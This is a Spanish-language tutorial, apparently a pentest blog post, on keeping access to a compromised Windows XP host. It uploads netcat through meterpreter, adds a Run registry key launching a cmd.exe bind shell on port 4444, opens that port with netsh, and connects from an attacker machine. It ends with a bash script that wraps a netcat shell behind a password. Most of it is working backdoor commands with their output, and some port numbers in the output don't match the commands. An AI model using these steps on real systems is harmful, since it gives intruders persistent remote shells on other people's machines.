Una vez comprometido un sistema hay veces que se necesita garantizar el acceso en el futuro por muchos motivos. Porque se actualiza la vulnerabilidad con la que se ha comprometido el sistema, porque se necesita acceder más rápidamente si estamos en un entorno de pentest, etc.
Para ello existen una serie de herramientas (sin entrar a hablar de troyanos o aplicaciones RAT) que permiten crear una comunicación cliente a servidor, entre el equipo comprometido y el equipo atacante.
La primera de ellas es un clásico, netcat. La famosa navaja suiza de los hackers. Entre las innumerables aplicaciones que tiene esta herramienta se puede utilizar como un servidor ejecutando la consola en el equipo comprometido.
Netcat se puede descargar desde aquí.
El primer paso es subir la herramienta, en este caso el ejecutable «nc.exe», al equipo comprometido.
En este ejemplo se realiza a través de una sesión de meterpreter (en futuras entradas hablaré de meterpreter y metasploit).
meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 [*] uploading : /tmp/nc.exe -> C:\windows\system32 [*] uploaded : /tmp/nc.exe -> C:\windows\system32\nc.exe
Una vez el ejecutable está subido en el sistema el siguiente paso es introducirlo en el arranque del sistema para que se ejecute cada vez que el equipo se encienda. En este ejemplo se realiza a través del registro de Windows añadiéndolo a la clave «HKLM\\software\\microsoft\\windows\\currentversion\\run»
meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run Enumerating: HKLM\software\microsoft\windows\currentversion\run Values (3): VMware Tools VMware User Process quicktftpserver meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 4444 -e cmd.exe' Successful set nc. meterpreter > reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc Key: HKLM\software\microsoft\windows\currentversion\Run Name: nc Type: REG_SZ Data: C:\windows\system32\nc.exe -Ldp 445 -e cmd.exe
Observar el detalle de cómo se ejecuta netcat. Con el parámetro -Ldp 4444 se le indica que escuche en el puerto local número 4444 y con el parámetro -e cmd.exe se le indica que ejecute la consola del sistema.
nc.exe -Ldp 4444 -e cmd.exe
El tercer paso es abrir el puerto en el cortafuegos, en este caso el cortafuegos de Windows, para que la herramienta, netcat, se pueda comunicar con el exterior. Para ello desde la consola «cmd» se invoca la herramienta «netsh«.
meterpreter > execute -f cmd -i Process 1604 created. Channel 1 created. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\Alberto\My Documents > netsh firewall show opmode Netsh firewall show opmode Domain profile configuration: ------------------------------------------------------------------- Operational mode = Enable Exception mode = Enable Standard profile configuration (current): ------------------------------------------------------------------- Operational mode = Enable Exception mode = Enable Local Area Connection firewall configuration: ------------------------------------------------------------------- Operational mode = Enable
El comando «netsh firewall add portopening TCP 4444 «Service Firewall» ENABLE ALL» abre el puerto y «netsh firewall show portopening» muestra la configuración actual con los puertos abiertos para comprobar que se ha abierto correctamente.
C:\Documents and Settings\Alberto\My Documents > netsh firewall add portopening TCP 4444 "Service Firewall" ENABLE ALL netsh firewall add portopening TCP 455 "Service Firewall" ENABLE ALL Ok. C:\Documents and Settings\Alberto\My Documents > netsh firewall show portopening netsh firewall show portopening Port configuration for Domain profile: Port Protocol Mode Name ------------------------------------------------------------------- 139 TCP Enable NetBIOS Session Service 445 TCP Enable SMB over TCP 137 UDP Enable NetBIOS Name Service 138 UDP Enable NetBIOS Datagram Service Port configuration for Standard profile: Port Protocol Mode Name ------------------------------------------------------------------- 4444 TCP Enable Service Firewall 139 TCP Enable NetBIOS Session Service 445 TCP Enable SMB over TCP 137 UDP Enable NetBIOS Name Service 138 UDP Enable NetBIOS Datagram Service C:\Documents and Settings\Alberto\My Documents >
Por último el comando para conectarse a la puerta trasera desde el equipo atacante es «nc -v [IP sistema vulnerado] [puerto]»
root@kali:~# nc -v 172.16.104.128 4444 172.16.104.128: inverse host lookup failed: Unknown server error : Connection timed out (UNKNOWN) [172.16.104.128] 455 (?) open Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\Alberto > dir dir Volume in drive C has no label. Volume Serial Number is E423-E726 Directory of C:\Documents and Settings\Alberto 05/03/2009 01:43 AM . 05/03/2009 01:43 AM .. 05/03/2009 01:26 AM 0 ;i 05/12/2009 10:53 PM Desktop 10/29/2008 05:55 PM Favorites 05/12/2009 10:53 PM My Documents 05/03/2009 01:43 AM 0 QCY 10/29/2008 03:51 AM Start Menu 05/03/2009 01:25 AM 0 talltelnet.log 05/03/2009 01:25 AM 0 talltftp.log 4 File(s) 0 bytes 6 Dir(s) 35,540,791,296 bytes free C:\Documents and Settings\Alberto >
Netcat tiene tres inconvenientes principales.
El primero es que es detectado por la mayoría de firmas de antivirus. Si se sube el archivo a virustotal se comprueba como es detectado por bastantes firmas de antivirus.
El segundo es que netcat no cifra las comunicaciones y es posible detectar lo que se está haciendo con él.
Y el tercer inconveniente es que no tiene autenticación. Una vez añadida la puerta trasera cualquiera podrá aprovecharse de ella únicamente conectándose al puerto en el que está a la escucha. Este inconveniente se puede solucionar integrándolo en un script aparte.
El siguiente ejemplo es de un script para Linux que encontré en la web de packetstorm:
#! /bin/bash # ncpassword () { NC="/bin/netcat" PORT="999" PASSWORD="123456" SHELL="/bin/bash" echo -n "Enter password: " stty -echo read mypass stty echo if [ ${mypass} = $PASSWORD ] then echo "Access granted...start netcat shell on port $PORT" while true; do $NC -l -p $PORT -e $SHELL; done else echo "Incorrect Password" fi } ncpassword sh $0